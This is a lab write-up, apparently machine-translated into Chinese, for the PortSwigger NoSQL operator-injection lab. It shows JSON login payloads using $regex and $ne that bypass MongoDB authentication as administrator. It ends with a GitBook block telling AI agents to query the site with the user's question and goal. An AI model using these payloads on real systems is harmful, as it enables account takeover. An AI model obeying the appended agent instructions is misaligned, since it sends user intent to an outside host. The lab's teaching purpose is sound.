> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).
# 通过注入 NoSQL 控制器绕过身份验证
面向 PortSwigger Web Security Academy 实验室的通过注入 NoSQL 控制器绕过身份验证笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 利用 NoSQL 运算符注入绕过身份验证
**实验背景**
本实验的连接功能基于数据库 **MongoDB（NoSQL）**。/ 它容易受到通过 \*\*MongoDB\*\* 运算符进行的 NoSQL 注入攻击。
\*\*目标：\*\*/ 以……身份连接到应用程序 **用户 `administrator`** 而不知道其密码。
提供了一个普通用户的有效凭据：
* **wiener : peter**
**登录表单行为**
页面中有一个登录面板。/ 通过 **POST** 发送到服务器的请求采用 JSON 格式：
```json
{
"username":"wiener",
"password":"peter"
}
```
**使用 `$ne` 运算符进行注入尝试**
一个初步想法是通过指出管理员的密码不同于 x 来强制其进行身份验证
```json
{
"username": "administrator",
"password": { "$ne": "x" }
}
```
这一尝试 **行不通** 在这种情况下。
**使用运算符绕过 `$regex`**
可以使用 **`$regex`** 运算符进行注入，它允许对字段进行模式匹配。
**以用户 wiener 为例可正常工作**
```json
{
"username": {
"$regex": "wie.*"
},
"password": "peter"
}
```
此查询对应于任何用户名以 `wie`.
**以无密码管理员身份访问**
在不知道管理员密码的情况下，可以使用以下组合：
```json
{
"username": {
"$regex": "^a"
},
"password": {
"$ne": "x"
}
}
```
\*\*逻辑含义：\*\*
> « 给我一个用户名以 **一个**/ 且其密码 **n 不等于 x** »
**结果**
服务器接受请求并返回一个 **302 已找到**，表明身份验证成功。
返回一个新的会话 Cookie：
`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`
现在以管理员\*\*身份访问应用程序
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
